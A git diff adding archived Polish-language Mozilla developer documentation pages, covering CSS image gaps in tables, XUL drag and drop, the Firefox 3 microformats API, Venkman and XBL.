+<p>Innym głównym rozwiązaniem jest pozostawienie obrazków jako elementów liniowych i zmiana pionowego wyrównania obrazka w stosunku do linii bloku. Dla przykładu możesz wypróbować następujące rozwiązanie:
+</p>
+<pre>td img {vertical-align: bottom;}</pre>
+<p>Spowoduje to, że dolna krawędź obrazka będzie wyrównana względem dolnej linii bloku zamiast linii bazowej. Jak możemy zobaczyć na Przykładzie 10, przynosi to zamierzony efekt: przestrzeń pod naszymi obrazkami w pasku nawigacyjnym znika. Jednak dekoracyjna komórka jest nadal zbyt wysoka i inne obrazki nie są wyrównane względem tekstu wokół nich.
+</p><p><img align="none" alt="Przykład 10">
+</p><p>Jeszcze raz możemy nadać klasę obrazkom, komórkom lub wierszom w celu precyzyjnego ustawienia efektu. Jednak style pokazane powyżej nie przezwyciężą problemu jednopikselowego obrazka, ponieważ linia bloku otaczająca go będzie miała wysokość czcionki w komórce tabeli i dlatego nie skurczy się. Obrazek przeniesie się na dół komórki, ale komórka nie skurczy się do rozmiarów obrazka. Dodatkowo, każdy inny obrazek, który jest krótszy niż wysokość linii bloku będzie nadal miał pustą przestrzeń wokół siebie -- jak to się działo z czerwoną komórką tworzącą odstęp. Jednopikselowy obrazek w komórce jest teraz wyrównany względem dołu komórki, ale linia bloku powraca i ma rozmiar normalnego tekstu.
+</p><p>Zobacz Przykład 11, gdzie rozmiar czcionki dokumentu został podniesiony do większej wartości. Obrazki paska nawigacyjnego mają teraz pustą przestrzeń pojawiającą się nad nimi, a czerwona przestrzeń stała się większa.
+</p><p><img align="none" alt="Przykład 11">
+</p><p>Trudno tego uniknąć, ponieważ obrazki (w tym podejściu) są ciągle elementami liniowymi i dlatego nadal biorą udział w tworzeniu linii bloku. Jeśli ta linia bloku otrzyma wystarczającą wysokość, przestrzeń zacznie pojawiać się wokół obrazków
+</p>
+<h3 id="Oczekuj.C4.85c_na_rozwi.C4.85zanie" name="Oczekuj.C4.85c_na_rozwi.C4.85zanie"> Oczekując na rozwiązanie </h3>
+<p>Dzięki gruntowej implementacji CSS2 w Mozilli problem obrazków liniowych w komórkach tabeli, wymuszających niechcianą przestrzeń, został wzięty pod uwagę przez CSS Working Group. Powstało wiele propozycji rozwiązania tego problemu, lecz jedną z najbardziej obiecujących jest właściwość <a class="external" href="http://www.w3.org/TR/css3-box/#line-box-contain">line-box-contain</a>, którą zaproponowano do włączenia w CSS3. Gdy ta właściwość się przyjmie, wtedy każda przeglądarka wspierająca ją będzie mogła naśladować tradycyjne zachowanie "shrinkwrap" bez ryzyka nieoczekiwanego wyglądu z następującą regułą:
+</p>
+<pre>td {line-box-contain: font replaced;} /* propozycja do CSS3 */</pre>
+<p>Możliwe są inne rozwiązania zawierające się w aktualnym CSS3 Working Drafts, jak <a class="external" href="http://www.w3.org/TR/css3-box/#line-height">line-height-policy</a>. Oczywiście, im szybciej rozwiązanie będzie można znaleźć i zaimplementować, autorzy będą szczęśliwsi.
+</p>
+<h3 id="Rekomendacje" name="Rekomendacje"> Rekomendacje </h3>
+<p>Z powodu braku wsparcia dla CSS3, trudno dostarczyć jasny zestaw kroków dla rozwiązania każdego przykładu tego problemu, ponieważ najlepsze rozwiązanie dla danego dokumentu zależy mocno od jego struktury. Jeśli twój dokument używa tradycyjnych znaczników, upewnij się, że deklaracja DOCTYPE odzwierciedla ten fakt i nie wywołuj trybu standardów. Zabezpieczy to przeglądarki przed użyciem wyświetlania opartego na standardach i w ten sposób wszystkie problemy z układem graficznym zostaną ominięte. Jeśli używasz znaczników w trybie strict lub potrzebujesz z innych powodów wyświetlania w trybie standardów, pamiętaj wtedy o poniższych wskazówkach:
+</p>
+<ul><li> Każdy pojedynczy obrazek w komórce tabeli (np. jednopikselowy obrazek tworzący przestrzeń) powinien być elementem blokowym
+</li><li> Każdy obrazek w komórce tabeli z innym obrazkiem powinien być wyrównany w pionie do dolnej linii bloku
+</li><li> Każdy obrazek w komórce tabeli z innym obrazkiem i tekstem powinien mieć odpowiednie wyrównanie w pionie zgodnie z potrzebą.
+</li></ul>
+<p>Z rozsądnym połączeniem podejść i redukcją trików z jednopikselowymi obrazkami-- które w przeglądarkach obsługujących CSS nie są w żaden sposób niezbędne-- jest całkiem możliwe ominięcie dziwnych efektów w trybie standardów. Najlepszym rozwiązaniem może być zagwarantowanie, że obrazki są zawsze w komórkach same, zatem pozwalają twórcom uczynić je elementami blokowymi, ale, jak zwykle, zależy to od autorskiego projektu.
+</p>
+<h3 id="Podobne_linki" name="Podobne_linki"> Podobne linki </h3>
+<ul><li> <a href="pl/Gecko's_Almost_Standards_Mode">Gecko's Almost Standards Mode</a>
+</li><li> <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">Mozilla's Quirks Mode</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie"> Informacje o dokumencie </h3>
+<ul><li> Autor(zy): Eric A. Meyer
+</li><li> Ostatnia modyfikacja: March 21st, 2003
+</li><li> Copyright © 2001-2003 Netscape.
+</li></ul>
+</div>
+{{ languages( { "en": "en/Images,_Tables,_and_Mysterious_Gaps", "es": "es/Im\u00e1genes,_tablas_y_huecos_misteriosos", "fr": "fr/Images,_tableaux_et_d\u00e9calages_myst\u00e9rieux" } ) }}
diff --git a/files/pl/archive/mozilla/drag_and_drop/index.html b/files/pl/archive/mozilla/drag_and_drop/index.html
new file mode 100644
index 0000000000..b963b08118
--- /dev/null
+++ b/files/pl/archive/mozilla/drag_and_drop/index.html
@@ -0,0 +1,142 @@
+---
+title: Drag and Drop
+slug: Archive/Mozilla/Drag_and_drop
+tags:
+ - NeedsTranslation
+ - TopicStub
+ - XUL
+translation_of: Archive/Mozilla/Drag_and_drop
+---
+<p>{{ Next("Drag and Drop JavaScript Wrapper") }}</p>
+<p>{{ deprecated_header("gecko1.9.1") }}</p>
+<div class="warning">
+ As of Gecko 1.9.1 (Firefox 3.5), these APIs are officially deprecated <a href="/En/DragDrop/Drag_and_Drop" title="en/DragDrop/Drag and Drop">the newer, simpler, portable API</a> should be used in their place.</div>
+<p>This section describes how to implement objects that can be dragged around and dropped onto other objects.</p>
+<h3 id="The_Drag_and_Drop_Interface" name="The_Drag_and_Drop_Interface">The Drag and Drop Interface</h3>
+<p>Many user interfaces allow one to drag particular objects around within the interface. For example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. Mozilla and <a href="/en/XUL" title="en/XUL">XUL</a> provide a number of events that can handle when the user attempts to drag objects around.</p>
+<p>A user can start dragging by holding down the mouse button and moving the mouse. The drag stops when the user releases the mouse. Event handlers are called when the user starts and ends dragging, and at various points in-between.</p>
+<p>Mozilla implements dragging by using a drag session. When a user requests to drag something that can be dragged, a drag session should be started. The drag session handles updating the mouse cursor and where the object should be dropped. If something cannot be dragged, it should not start a drag session. Because the user generally has only one mouse, only one drag session is in use at a time.</p>
+<p>Note that drag sessions can be created from within Mozilla itself or from other applications. Mozilla will translate the data being dragged as needed.</p>
+<p>The list below describes the event handlers that can be called, which may be placed on any element. You only need to put values for the handlers where you need to do something when the event occurs.</p>
+<dl>
+ <dt>
+ ondrag {{ Fx_minversion_inline(3) }}</dt>
+ <dd>
+ Called periodically throughout the drag and drop operation.</dd>
+ <dt>
+ ondraggesture </dt>
+ <dd>
+ Called when the user starts dragging the element, which normally happens when the user holds down the mouse button and moves the mouse. The script in this handler should set up a drag session.</dd>
+ <dt>
+ ondragstart {{ Fx_minversion_inline(3) }} </dt>
+ <dd>
+ An alias for <code>ondraggesture</code>; this is the HTML 5 spec name for the event and may be used in HTML or XUL; however, for backward compatibility with older versions of Firefox, you may wish to continue using <code>ondraggesture</code> in XUL.</dd>
+ <dt>
+ ondragover </dt>
+ <dd>
+ This event handler is called for an element when something is being dragged over top of it. If the object can be dropped on the element, the drag session should be notified.</dd>
+ <dt>
+ ondragenter </dt>
+ <dd>
+ Called for an element when the mouse pointer first moves over the element while something is being dragged. This might be used to change the appearance of the element to indicate to the user that the object can be dropped on it.</dd>
+ <dt>
+ ondragexit </dt>
+ <dd>
+ Called for an element when the mouse pointer moves out of an element while something is being dragged. The is also called after a drop is complete so that an element has a chance to remove any highlighting or other indication.</dd>
+ <dt>
+ ondragdrop </dt>
+ <dd>
+ This event handler is called for an element when something is dropped on the element. At this point, the user has already released the mouse button. The element can simply ignore the event or can handle it some way, such as pasting the dragged object into itself.</dd>
+ <dt>
+ ondragend {{ Fx_minversion_inline(3) }} </dt>
+ <dd>
+ Called when the drag operation is finished.</dd>
+</dl>
+<p>There are two ways that drag and drop events can be handled. This first involves using the drag and drop <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> interfaces directly. The second is to use a <a href="/en/Drag_and_Drop_JavaScript_Wrapper" title="en/Drag_and_Drop_JavaScript_Wrapper">JavaScript wrapper</a> object that handles some of this for you. The code for this wrapper can be found in a file named {{ Source("toolkit/content/nsDragAndDrop.js nsDragAndDrop.js") }} which is contained in the widget-toolkit (or global) package.</p>
+<h3 id="XPCOM_Drag_and_Drop_interfaces" name="XPCOM_Drag_and_Drop_interfaces">XPCOM Drag and Drop interfaces</h3>
+<p>Two interfaces are used to support drag and drop. The first is a drag service, <a href="/en/XPCOM_Interface_Reference/nsIDragService" title="en/nsIDragService">nsIDragService</a> and the second is the drag session, <a href="/en/XPCOM_Interface_Reference/nsIDragSession" title="en/nsIDragSession">nsIDragSession</a>.</p>
+<p>The <a href="/en/XPCOM_Interface_Reference/nsIDragService" title="en/nsIDragService">nsIDragService</a> is responsible for creating drag sessions when a drag starts, and removing the drag session when the drag is complete. The function <code>invokeDragSession</code> should be called to start a drag inside an <code>ondraggesture</code> event handler. Once this function is called, a drag has started.</p>
+<p>The function invokeDragSession takes four parameters, as described below:</p>
+<pre class="eval">invokeDragSession(element,transferableArray,region,actions)
+</pre>
+<dl>
+ <dt>
+ element </dt>
+ <dd>
+ A reference to the element that is being dragged. This can be retrieved by getting the property <code>event.target</code> during the event handler.</dd>
+ <dt>
+ transferableArray </dt>
+ <dd>
+ An array of <a href="/en/NsITransferable" title="en/NsITransferable">nsITransferable</a> objects, one for each item being dragged. An array is used because you might want to drag several objects at once, such as a set of files.</dd>
+ <dt>
+ region </dt>
+ <dd>
+ A region used for feedback indication. This should usually be set to null.</dd>
+ <dt>
+ actions </dt>
+ <dd>
+ The actions that the drag uses. This should be set to one of the following constants, or several added together. The action can be changed during the drag depending on what is being dragged over.</dd>
+</dl>
+<dl>
+ <dt>
+ nsIDragService.DRAGDROP_ACTION_NONE </dt>
+ <dd>
+ <dl>
+ <dt>
+ Used to indicate that no drag is valid.</dt>
+ <dt>
+ nsIDragService.DRAGDROP_ACTION_COPY </dt>
+ <dd>
+ The item being dragged should be copied to its dropped location.</dd>
+ <dt>
+ nsIDragService.DRAGDROP_ACTION_MOVE </dt>
+ <dd>
+ The item being dragged should be moved to its dropped location.</dd>
+ <dt>
+ nsIDragService.DRAGDROP_ACTION_LINK </dt>
+ <dd>
+ A link (or shortcut or alias) to the item being dragged should be created in the dropped location.</dd>
+ </dl>
+ </dd>
+</dl>
+<p>The interface {{ interface("nsIDragService") }} also provides the function <code>getCurrentSession</code> which can be called from within the drag event handlers to get and modify the state of the drag. The function returns an object that implements {{ interface("nsIDragSession") }}.</p>
+<p>The interface <a href="/en/XPCOM_Interface_Reference/nsIDragSession" title="en/nsIDragSession">nsIDragSession</a> is used to get and set properties of the drag that is currently occuring. The following properties and methods are available:</p>
+<dl>
+ <dt>
+ canDrop </dt>
+ <dd>
+ Set this property to <code>true</code> if the element the mouse is currently over can accept the object currently being dragged to be dropped on it. Set the value to <code>false</code> if it doesn't make sense to drop the object on it. This should be changed in the <code>ondragover</code> and <code>ondragenter</code> event handlers.</dd>
+ <dt>
+ dragAction </dt>
+ <dd>
+ Set to the current action to be performed, which should be one or more of the constants described earlier. This can be used to provide extra feedback to the user.</dd>
+ <dt>
+ numDropItems </dt>
+ <dd>
+ The number of items being dragged. For example, this will be set to 5 if five bookmarks are being dragged.</dd>
+ <dt>
+ getData(transfer,index) </dt>
+ <dd>
+ Get the data being dragged. The first argument should be an <a href="/en/NsITransferable" title="en/NsITransferable">nsITransferable</a> object to hold the data. The second argument, <code>index</code>, should be the index of the item to return.</dd>
+ <dt>
+ sourceDocument </dt>
+ <dd>
+ The document where the drag started.</dd>
+ <dt>
+ sourceNode </dt>
+ <dd>
+ The <a href="/en/DOM" title="en/DOM">DOM</a> node where the drag started.</dd>
+ <dt>
+ isDataFlavorSupported(flavor) </dt>
+ <dd>
+ Returns <code>true</code> if the data being dragged contains data of the specified flavor.</dd>
+</dl>
+<p>{{ Next("Drag and Drop JavaScript Wrapper") }}</p>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+ <li>Author(s): <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a></li>
+ <li>Original Document:</li>
+ <li>Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a></li>
+ </ul>
+</div>
diff --git a/files/pl/archive/mozilla/firefox/index.html b/files/pl/archive/mozilla/firefox/index.html
new file mode 100644
index 0000000000..c87802d82f
--- /dev/null
+++ b/files/pl/archive/mozilla/firefox/index.html
@@ -0,0 +1,8 @@
+---
+title: Firefox
+slug: Archive/Mozilla/Firefox
+translation_of: Archive/Mozilla/Firefox
+---
+<p>In progress. Out-of-date information about the Firefox project.</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/pl/archive/mozilla/firefox/zastosowanie_mikroformatów/index.html b/files/pl/archive/mozilla/firefox/zastosowanie_mikroformatów/index.html
new file mode 100644
index 0000000000..15a49af1cc
--- /dev/null
+++ b/files/pl/archive/mozilla/firefox/zastosowanie_mikroformatów/index.html
@@ -0,0 +1,145 @@
+---
+title: Zastosowanie mikroformatów
+slug: Archive/Mozilla/Firefox/Zastosowanie_mikroformatów
+tags:
+ - Firefox 3
+translation_of: Archive/Mozilla/Firefox/Using_microformats
+---
+<p>{{ Fx_minversion_header(3) }}
+{{ Draft() }}
+Mikroformaty umożliwiają przekazywanie przez witryny internetowe do przeglądarek danych o określonej strukturze semantycznej. Umożliwia to zaprezentowanie podsumowania informacji na stronie bez wiedzy na temat tego, jak należy przetwarzać sam przekazywany dokument. W Firefoksie 3 zaimplementowano globalny obiekt <code>Microformats</code>, pozwalający na dostęp do mikroformatów. Interfejs API tego obiektu umożliwia łatwe wykrywanie i odczytywanie mikroformatów.
+</p>
+<h2 id=".C5.81adowanie_interfejsu_API_mikroformat.C3.B3w" name=".C5.81adowanie_interfejsu_API_mikroformat.C3.B3w">Ładowanie interfejsu API mikroformatów</h2>
+<p>Obiekt <code>Microformats</code> można utworzyć za pomocą nowego mechanizmu ładowania skryptów dostępnego w programie Firefox 3. Aby skorzystać z interfejsu API, należy najpierw załadować obiekt:
+</p>
+<pre class="eval"><span class="nowiki">Components.utils.import("resource://gre/modules/Microformats.js");</span>
+</pre>
+<p>Po załadowaniu interfejsu API można korzystać z mikroformatów, używając podanych poniżej metod. Informacje na temat przetwarzania mikroformatów znajdują się artykule <a href="pl/Przetwarzanie_mikroformat%c3%b3w_w_j%c4%99zyku_JavaScript">Przetwarzanie mikroformatów w języku JavaScript</a>.
+</p>
+<h2 id="Wst.C4.99pnie_zdefiniowane_mikroformaty" name="Wst.C4.99pnie_zdefiniowane_mikroformaty">Wstępnie zdefiniowane mikroformaty</h2>
+<p>W programie Firefox 3 zaimplementowano definicje kilku popularnych mikroformatów:
+</p>
+<dl><dt><code><a href="pl/Mikroformat_adr">adr</a></code>
+</dt><dd>Reprezentuje adres (np. zamieszkania lub korespondencyjny).
+</dd><dt><code><a href="pl/Mikroformat_geo">geo</a></code>
+</dt><dd>Reprezentuje lokalizację geograficzną (określaną za pomocą długości i szerokości geograficznej).
+</dd><dt><code><a href="pl/Mikroformat_hCard">hCard</a></code>
+</dt><dd>Reprezentuje informacje kontaktowe dotyczące osób.
+</dd><dt><code><a href="pl/Mikroformat_hCalendar">hCalendar</a></code>
+</dt><dd>Reprezentuje pozycję w kalendarzu (np. spotkanie).
+</dd><dt><code><a href="pl/Mikroformat_tag">tag</a></code>
+</dt><dd>Używany w celu dodawania znaczników do innych mikroformatów.
+</dd></dl>
+<h2 id="Metody" name="Metody">Metody</h2>
+<h3 id="add.28.29" name="add.28.29">add()</h3>
+<p>Dodaje nowy mikroformat do modułu mikroformatu.
+</p><p>{{ Note("Jeżeli mikroformat o danej nazwie istnieje, jest zastępowany przez nowy mikroformat.") }}
+</p>
+<pre class="eval">add(nazwa, definicja);
+</pre>
+<h6 id="Parametry" name="Parametry">Parametry</h6>
+<dl><dt>&lt;tt&gt;nazwa&lt;/tt&gt;
+</dt><dd>Nazwa mikroformatu, który ma zostać dodany do modułu mikroformatu.
+</dd><dt>&lt;tt&gt;definicja&lt;/tt&gt;
+</dt><dd>Struktura języka JavaScript opisująca mikroformat. Aby uzyskać szczegółowe informacje, patrz <a href="pl/Opisywanie_mikroformat%c3%b3w_w_j%c4%99zyku_JavaScript">Opisywanie mikroformatów w języku JavaScript</a>.
+</dd></dl>
+<h3 id="count.28.29" name="count.28.29">count()</h3>
+<p>Zwraca liczbę istniejących w dokumencie mikroformatów, które spełniają podane kryteria.
+</p>
+<pre class="eval">liczbaMikroformatow = Microformats.count(nazwa, element_główny, uwzględniaj_rekurencyjnie_ramki);
+</pre>
+<h6 id="Parametry_2" name="Parametry_2">Parametry</h6>
+<dl><dt>&lt;tt&gt;nazwa&lt;/tt&gt;
+</dt><dd>Nazwa mikroformatu, którego egzemplarze są liczone.
+</dd><dt>&lt;tt&gt;element_główny&lt;/tt&gt;
+</dt><dd>Argument opcjonalny. Element DOM, od którego ma być rozpoczęte przeszukiwanie. Domyślnie jest to element <code>content.document</code> (innymi słowy, cały dokument).
+</dd><dt>&lt;tt&gt;uwzględniaj_rekurencyjnie_ramki&lt;/tt&gt;
+</dt><dd>Argument opcjonalny. W przypadku podania wartości <code>true</code> w przeszukiwaniu uwzględnione będą ramki potomne. Wartością domyślną jest <code>true</code>.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87" name="Zwracana_warto.C5.9B.C4.87">Zwracana wartość</h6>
+<p>Liczba całkowita określająca liczbę mikroformatów, które spełniają podane kryteria.
+</p>
+<h3 id="debug.28.29" name="debug.28.29">debug()</h3>
+<p>Zwraca ciąg znaków określający obiekt mikroformatu.
+</p><p>{{ Note("Zamiast stosowania metody <code>debug()</code> można po prostu skorzystać z metody obiektu mikroformatu o tej samej nazwie: <code>microformatObject.debug()</code>.") }}
+</p>
+<pre class="eval">zrzucanyCiag = debug(obiekt_mikroformatu)
+</pre>
+<h6 id="Parametry_3" name="Parametry_3">Parametry</h6>
+<dl><dt>&lt;tt&gt;obiekt_mikroformatu&lt;/tt&gt;
+</dt><dd>Obiekt mikroformatu, którego zrzut jest wykonywany.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87_2" name="Zwracana_warto.C5.9B.C4.87_2">Zwracana wartość</h6>
+<p>Ciąg znaków opisujący zawartość podanego obiektu mikroformatu.
+</p>
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+<p>Zwraca tablicę z obiektami mikroformatów, odpowiadającymi znalezionym mikroformatom spełniającym podane kryteria.
+</p>
+<pre class="eval">tablicaMikroformatow = Microformats.count(nazwa, element_główny, opcje, tablica_docelowa);
+</pre>
+<h6 id="Parametry_4" name="Parametry_4">Parametry</h6>
+<dl><dt>&lt;tt&gt;nazwa&lt;/tt&gt;
+</dt><dd>Nazwa poszukiwanego mikroformatu.
+</dd><dt>&lt;tt&gt;element_główny&lt;/tt&gt;
+</dt><dd>Element DOM, od którego ma być rozpoczęte przeszukiwanie.
+</dd><dt>&lt;tt&gt;opcje&lt;/tt&gt;
+</dt><dd>Argument opcjonalny. Obiekt JavaScript zawierający zero lub więcej następujących wskaźników:
+</dd></dl>
+<blockquote>
+<dl><dt>&lt;tt&gt;recurseFrames&lt;/tt&gt;
+</dt><dd>W przypadku podania wartości <code>true</code> w przeszukiwaniu uwzględnione będą ramki potomne. Wartością domyślną jest <code>true</code>.
+</dd><dt>&lt;tt&gt;showHidden&lt;/tt&gt;
+</dt><dd>W przypadku podania wartości <code>true</code> dodawane są ukryte mikroformaty; w przeciwnym przypadku są one ignorowane. Wartością domyślną jest <code>false</code>.
+</dd><dt>&lt;tt&gt;debug&lt;/tt&gt;
+</dt><dd>W przypadku korzystania z trybu debugowania należy podać wartość <code>true</code>; w przeciwnym przypadku należy podać wartość <code>false</code>. Wartością domyślną jest <code>false</code>.
+</dd></dl>
+</blockquote>
+<dl><dt>&lt;tt&gt;tablica_docelowa&lt;/tt&gt;
+</dt><dd>Argument opcjonalny. Tablica zawierająca obiekty mikroformatów, do której dodawane będą rezultaty wyszukiwania.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87_3" name="Zwracana_warto.C5.9B.C4.87_3">Zwracana wartość</h6>
+<p>Nowa tablica zawierająca obiekty mikroformatów, które spełniały podane kryteria, lub tablica określona w obiekcie &lt;tt&gt;microformats&lt;/tt&gt;, do której dodano nowe, znalezione obiekty mikroformatów.
+</p>
+<h3 id="getNamesFromNode.28.29" name="getNamesFromNode.28.29">getNamesFromNode()</h3>
+<p>Zwraca listę rozdzielonych znakami spacji nazw mikroformatów, które odpowiadały podanemu węzłowi mikroformatu.
+</p>
+<pre class="eval">listaNazw = Microformats.getNamesFromNode(węzeł);
+</pre>
+<h6 id="Parametry_5" name="Parametry_5">Parametry</h6>
+<dl><dt>&lt;tt&gt;węzeł&lt;/tt&gt;
+</dt></dl>
+<dl><dd>Węzeł, z którego ma zostać pobrana lista nazw mikroformatów.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87_4" name="Zwracana_warto.C5.9B.C4.87_4">Zwracana wartość</h6>
+<p>Jeżeli podany &lt;tt&gt;węzeł&lt;/tt&gt; jest mikroformatem, zwracany jest ciąg znaków stanowiący listę rozdzielonych znakami spacji nazw mikroformatów, które odpowiadały podanemu węzłowi. Jeżeli węzeł nie jest mikroformatem, nie jest zwracana żadna wartość.
+</p>
+<h3 id="getParent.28.29" name="getParent.28.29">getParent()</h3>
+<p>Zwraca nadrzędny węzeł podanego mikroformatu lub węzła potomnego mikroformatu.
+</p><p>wezelNadrzedny = Microformats.getParent(węzeł);
+</p>
+<h6 id="Parametry_6" name="Parametry_6">Parametry</h6>
+<dl><dt>&lt;tt&gt;węzeł&lt;/tt&gt;
+</dt><dd>Węzeł, którego węzeł nadrzędny ma być pobrany.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87_5" name="Zwracana_warto.C5.9B.C4.87_5">Zwracana wartość</h6>
+<p>Węzeł nadrzędny podanego węzła. Jeżeli podany &lt;tt&gt;węzeł&lt;/tt&gt; nie jest mikroformatem ani węzłem potomnym mikroformatu, nie jest zwracana żadna wartość.
+</p>
+<h3 id="isMicroformat.28.29" name="isMicroformat.28.29">isMicroformat()</h3>
+<p>Określa, czy podany węzeł DOM jest mikroformatem.
+</p>
+<pre class="eval">wskaznik = Microformats.isMicroformat(węzeł);
+</pre>
+<h6 id="Parametry_7" name="Parametry_7">Parametry</h6>
+<dl><dt>&lt;tt&gt;węzeł&lt;/tt&gt;
+</dt><dd>Węzeł DOM, który ma zostać sprawdzony.
+</dd></dl>
+<h6 id="Zwracana_warto.C5.9B.C4.87_6" name="Zwracana_warto.C5.9B.C4.87_6">Zwracana wartość</h6>
+<p><code>true</code>, jeżeli węzeł jest mikroformatem; w przeciwnym przypadku zwracana jest wartość <code>false</code>.
+{{ Note("Metoda <i>nie</i> zwraca wartości <code>true</code>, jeżeli węzeł jest węzłem potomnym mikroformatu.") }}
+</p><p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Using_microformats", "es": "es/El_uso_de_microformatos", "fr": "fr/Utilisation_de_microformats", "ja": "ja/Using_microformats", "ko": "ko/Using_microformats" } ) }}
diff --git a/files/pl/archive/mozilla/index.html b/files/pl/archive/mozilla/index.html
new file mode 100644
index 0000000000..0acec76e6d
--- /dev/null
+++ b/files/pl/archive/mozilla/index.html
@@ -0,0 +1,10 @@
+---
+title: Archived Mozilla and build documentation
+slug: Archive/Mozilla
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Mozilla
+---
+<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p>
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/pl/archive/mozilla/venkman/index.html b/files/pl/archive/mozilla/venkman/index.html
new file mode 100644
index 0000000000..26629f1eb2
--- /dev/null
+++ b/files/pl/archive/mozilla/venkman/index.html
@@ -0,0 +1,33 @@
+---
+title: Venkman
+slug: Archive/Mozilla/Venkman
+tags:
+ - 'JavaScript:Narzędzia'
+ - Narzędzia
+ - 'Programowanie_WWW:Narzędzia'
+ - 'Rozszerzenia:Narzędzia'
+ - Venkman
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/Venkman
+---
+<p>Venkman jest opartym na Mozilli debuggerem JavaScriptu.</p>
+<h3 id="Pobierz_Venkman" name="Pobierz_Venkman">Pobierz Venkman</h3>
+<ul>
+ <li><b>Mozilla Suite</b> i <b>SeaMonkey</b>: Venkman jest jedną z opcji podczas instalacji (wybierz instalację zaawansowaną).</li>
+ <li><b>Mozilla Suite</b>, <b>SeaMonkey</b>, <b>Firefox</b>, i <b>Thunderbird</b>: ostatnia wersja Venkman jest dostępna na stronie <a class="link-https" href="https://addons.mozilla.org/pl/firefox/addon/javascript-debugger/">Mozilla Addons</a>.</li>
+ <li><b>Nvu</b>: dla Nvu jest dostępna wersja ze strony <a class="external" href="http://glazman.org/nvu/releases/extensions/">glazman.org</a>.</li>
+</ul>
+<h3 id=".C5.B9r.C3.B3d.C5.82a" name=".C5.B9r.C3.B3d.C5.82a">Źródła</h3>
+<p>Obejrzyj następujące strony, aby zdobyć więcej informacji o Venkman:</p>
+<ul>
+ <li><a class="external" href="http://www.mozilla.org/projects/venkman/">Venkman - strona główna</a></li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/">Venkman - strona programowania</a></li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/screenshots/?M=D">Zrzuty ekranu</a></li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html">FAQ</a></li>
+ <li>Grupy dyskusyjne: <a class="external" href="http://groups.google.com/group/mozilla.dev.apps.js-debugger">mozilla.dev.apps.js-debugger</a></li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc">IRC</a>: <a class="link-irc" href="irc://irc.mozilla.org/venkman" rel="freelink">irc://irc.mozilla.org/venkman</a></li>
+</ul>
+<ul>
+ <li><a class="external" href="http://www.svendtofte.com/code/learning_venkman/">"Nauka debuggera JavaScriptu - Venkman"</a> napisany przez Svend Tofte.</li>
+</ul>
+<p>{{ languages( { "en": "en/Venkman", "es": "es/Venkman", "fr": "fr/Venkman", "it": "it/Venkman", "ja": "ja/Venkman", "ko": "ko/Venkman" } ) }}</p>
diff --git a/files/pl/archive/mozilla/xbl/index.html b/files/pl/archive/mozilla/xbl/index.html
new file mode 100644
index 0000000000..34cb613a90
--- /dev/null
+++ b/files/pl/archive/mozilla/xbl/index.html
@@ -0,0 +1,39 @@
+---
+title: XBL
+slug: Archive/Mozilla/XBL
+tags:
+ - Wszystkie_kategorie
+ - XBL
+translation_of: Archive/Mozilla/XBL
+---
+<p> <b>XML Binding Language</b> (<b>XBL</b>, czasami także nazywany <b>Rozszerzalny Język Wiązań</b>) jest językiem służącym do deklarowania zachowań elementów. Element, do którego dołączone jest wiązanie, nazywany <i>elementem wiązanym</i> (eng. <i>bound element</i>), zostaje rozszerzony o nowe zachowanie określone w wiązaniu.
+</p><p>Wiązania mogą posiadać uchwyty zdarzeń, które są rejestrowane dla wiązanego elementu, implementacje nowych metod i własności, które stają się dostępne z poziomu wiązanego elementu oraz anonimową zawartość, która jest włączana wewnątrz wiązanego elementu.
+</p><p>Większość kontrolek <a href="pl/XUL">XUL</a> jest przynajmniej w części implementowana przy użyciu języka XBL. Możesz zbudować własne kontrolki bazując na istniejących w <a href="pl/XUL">XUL</a>-u, <a href="pl/HTML">HTML</a>-u, <a href="pl/SVG">SVG</a> i innych prymitywnych językach używających XBL-a.
+</p>
+<h3 id="Specyfikacje"> Specyfikacje </h3>
+<ul><li> Specyfikacja XBL 1.0 jest opisana w <a href="pl/XBL/Dokumentacja_XBL_1.0">Dokumentacja XBL 1.0</a>. Niestety, aktualna implementacja w Mozilli różni się od specyfikacji i co za tym idzie nie ma żadnego dokumentu opisującego te różnice. Na szczęście, dokument będzie uaktualniony o wspomniane różnice .<br>XBL 1.0 jest technologią Mozilli, a nie standardem <a class="external" href="http://w3.org/">W3C</a> standard. XBL 1.0 jest technologią opartą na Mozilli i nie należy do standardu <a class="external" href="http://w3.org/">W3C</a>. Przynajmniej dwa nowe standardy są opracowywane: sXBL i XBL 2.0.
+</li></ul>
+<ul><li> W3C <a class="external" href="http://w3.org/TR/sXBL/">sXBL</a> (szkic roboczy, 2005) mówi o <i>SVG's XML Binding Language</i>. Opisuje podzbiór XBL2.0 potrzebny do <a href="pl/SVG">SVG</a>. Jest on bardzo podobny do Mozillowego XBL-a ale istnieje w nim parę różnic. Na przykład występują zmiana nazewnictwa niektórych elementów. sXBL nie posiada także niektórych funkcji XBL-a, takich jak dziedziczenie wiązań oraz definiowanie metod/właściwości w wiązanych elementach.
